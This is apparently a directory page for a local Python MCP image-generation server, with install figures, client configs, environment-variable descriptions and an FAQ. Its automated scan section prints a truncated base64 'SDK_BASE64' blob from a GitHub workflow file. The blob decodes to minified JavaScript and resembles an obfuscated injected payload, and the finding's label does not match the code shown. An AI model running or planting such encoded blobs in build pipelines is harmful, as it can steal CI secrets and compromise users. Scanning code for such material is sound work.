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Image Generation MCP Server

local only

Image Generation MCP Server runs on your own machine — the client starts it, so there is no endpoint to ping. 237 installs a week from pypi. Last commit 14 Sep 2026.

MCP server for AI image generation via OpenAI, Stable Diffusion (SD WebUI), or placeholders.

Installs per day peak 480 · avg 61 · -77% w/w
a month agotoday
237
Installs / week
pypi · image-generation-mcp
1
Stars
20 open issues
14 Sep 2026
Last commit
0 releases in 90 days
MIT
License
Python

What the code does

We read the source, 23 h ago · rules 3dff92dd89df

Capabilities

What this server is able to do. For an MCP server this is often the job itself — a terminal server runs commands because that is what it is for. Listed so you know what you are plugging in, not as an accusation.

Builds a database query by concatenation [пакет] .github/workflows/copier-update.yml:123, .github/workflows/copier-update.yml:123
      - name: Run copier update
        id: copier
        env:
          VCS_REF: ${{ steps.target.outputs.vcs_ref }}
SDK_BASE64 = "dmFyIF9fPU9iamVjdC5kZWZpbmVQcm9wZXJ0eTt2YXIgSV89KHIpPT5yO2Z1bmN0aW9uIFVfKHIsaSl7dGhpc1tyXT1JXy5iaW5kKG51bGwsaSl9dmFyIEpyPShyLGkpPT57Zm9yKHZhciAkIGluIGkpX18ociwkLHtnZXQ6aVskXSxlbnVtZXJhYmxlOiEwLGNvbmZpZ3VyYWJsZTohMCxzZXQ6VV8uYmluZChpLCQpfSl9O3ZhciBqcj17fTtKcihqcix7dm…

Is this your server and something here is wrong? Tell us — corrections are free and do not require a plan.

This code can reach further than it looks

We found places where it runs commands, builds paths or queries from values it is given. None of that is a flaw by itself — it becomes one when the code changes, and code changes quietly between releases. We re-read it on every one.

Three servers free · no card

Connect this server

This server runs on your own machine — install it with the package manager and the client starts it for you. Package name taken from the official registry entry.

run in your terminal
claude mcp add image-generation-mcp -- uvx image-generation-mcp
~/Library/Application Support/Claude/claude_desktop_config.json
{
  "mcpServers": {
    "image-generation-mcp": {
      "args": [
        "image-generation-mcp"
      ],
      "command": "uvx"
    }
  }
}
~/.codex/config.toml
[mcp_servers.image-generation-mcp]
command = "uvx"
args = ["image-generation-mcp"]
.cursor/mcp.json
{
  "mcpServers": {
    "image-generation-mcp": {
      "args": [
        "image-generation-mcp"
      ],
      "command": "uvx"
    }
  }
}
.vscode/mcp.json
{
  "mcpServers": {
    "image-generation-mcp": {
      "args": [
        "image-generation-mcp"
      ],
      "command": "uvx"
    }
  }
}

This one needs environment variables set before it will start: IMAGE_GENERATION_MCP_KV_STORE_URL (Persistent-state backend URL shared by every pvl-core subsystem that needs state. `memory://` is in-process and lost on restart; `file:///path` persists on one server; `redis://`, `dynamodb://` and `mongodb://` each need their matching extra. When unset, defaults to `file:///data/state` (the volume family Docker images mount), or to `memory://` — with a warning — on a host where that directory is not usable.), IMAGE_GENERATION_MCP_TOOLS_ALLOW (Comma-separated explicit tool names this instance exposes; every other tool is hidden from listings and cannot be invoked. Names matching no registered tool are inert. Mutually exclusive with `tools_deny`. Takes effect through `apply_tool_visibility`.), IMAGE_GENERATION_MCP_TOOLS_DENY (Comma-separated explicit tool names hidden from this instance (absent from listings, cannot be invoked). Names matching no registered tool are inert. Mutually exclusive with `tools_allow`. Takes effect through `apply_tool_visibility`.), IMAGE_GENERATION_MCP_SERVER_NAME (Rename this server instance; defaults to the project name.), IMAGE_GENERATION_MCP_INSTRUCTIONS (Replaces the default MCP instructions text sent to clients.), FASTMCP_LOG_LEVEL (Log level for FastMCP internals and app loggers (DEBUG / INFO / WARNING / ERROR / CRITICAL). The -v CLI flag overrides to DEBUG.), FASTMCP_ENABLE_RICH_LOGGING (Set false for plain or structured JSON log output.), IMAGE_GENERATION_MCP_A1111_HOST (Deprecated alias for IMAGE_GENERATION_MCP_SD_WEBUI_HOST; logs a warning when used.), IMAGE_GENERATION_MCP_A1111_MODEL (Deprecated alias for IMAGE_GENERATION_MCP_SD_WEBUI_MODEL; logs a warning when used.), IMAGE_GENERATION_MCP_READ_ONLY (When true, write-tagged tools (image generation, transforms, uploads) are hidden from clients. Set false to enable them.), IMAGE_GENERATION_MCP_SCRATCH_DIR (Directory where generated images are saved. Created automatically on first use.), IMAGE_GENERATION_MCP_OPENAI_API_KEY (OpenAI API key. Enables the OpenAI provider (gpt-image-2, gpt-image-1.5, dall-e-3) when set.), IMAGE_GENERATION_MCP_GOOGLE_API_KEY (Google API key. Enables the Gemini provider (gemini-3.1-flash-image and others) when set. Get a key at https://aistudio.google.com/apikey.), IMAGE_GENERATION_MCP_SD_WEBUI_HOST (SD WebUI base URL (such as http://localhost:7860). Enables the SD WebUI provider when set. Compatible with AUTOMATIC1111, Forge, reForge, and Forge-neo.), IMAGE_GENERATION_MCP_SD_WEBUI_MODEL (SD WebUI checkpoint name, used for model-aware preset detection (SD 1.5 / SDXL / Lightning) and checkpoint override. Unset uses the instance's current model.), IMAGE_GENERATION_MCP_DEFAULT_PROVIDER (Provider used when no keyword triggers auto-selection: auto, openai, gemini, sd_webui, or placeholder. auto picks the first configured provider.), IMAGE_GENERATION_MCP_TRANSFORM_CACHE_SIZE (Maximum number of transformed image results (resize, crop, convert) kept in memory. Set 0 to disable caching.), IMAGE_GENERATION_MCP_PAID_PROVIDERS (Comma-separated provider names that cost money; generate_image asks for confirmation (client elicitation) before using them. An empty value falls back to this default; to disable confirmation, set a value that names no provider (such as none).), IMAGE_GENERATION_MCP_STYLES_DIR (Directory for style preset files (Markdown with YAML front matter). Created automatically if it does not exist.), IMAGE_GENERATION_MCP_ALLOW_LOCAL_FILE_INPUT (Allow reading input images from local filesystem paths. Off by default: only URLs and uploads are accepted.), IMAGE_GENERATION_MCP_MAX_INPUT_IMAGE_BYTES (Maximum accepted input image size in bytes.), IMAGE_GENERATION_MCP_FETCH_TIMEOUT_S (HTTP timeout in seconds when fetching remote image URLs (fetch_image and URL inputs).), IMAGE_GENERATION_MCP_TRANSFER_TTL_DEFAULT_S (Link lifetime in seconds when the caller requests no explicit TTL.), IMAGE_GENERATION_MCP_TRANSFER_TTL_MAX_S (Ceiling in seconds a caller-requested link TTL is clamped to.), IMAGE_GENERATION_MCP_TRANSFER_GRACE_TTL_S (Post-success grace window in seconds: a served token's TTL shrinks to this so a stalled transfer can retry within it.), IMAGE_GENERATION_MCP_TRANSFER_LEASE_S (Crashed-handler reclaim window in seconds for an in-flight reservation.), IMAGE_GENERATION_MCP_TRANSFER_MAX_UPLOAD_BYTES (Maximum size in bytes of a single upload.). The author declared them in the registry entry; get the values from the project itself.

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Image Generation MCP Server — questions

Answers built from our own checks of this server.

Why is there no uptime for Image Generation MCP Server?
Image Generation MCP Server runs on your own machine over stdio — there is no network address to reach, so uptime cannot be measured for it by anyone. What can be measured is adoption: the pypi package image-generation-mcp was installed 237 times last week.
How do I connect Image Generation MCP Server?
Copy the ready config from this page — we generate it for Claude Code, Claude Desktop, Codex, Cursor and VS Code, each with the file path that client actually reads. It runs locally, so the command pulls image-generation-mcp straight from pypi; nothing to host, nothing to sign up for.
How many people use Image Generation MCP Server?
The pypi package image-generation-mcp was installed 237 times in the last week. Week over week that is -77%. We show installs rather than GitHub stars on purpose: a star is a bookmark, an install is someone actually running it.
Is Image Generation MCP Server open source?
Yes — it is published under the MIT licence, written in Python, 1 stars on GitHub and 20 open issues. The source link is on this page, so you can read exactly what it does with your data before you connect it.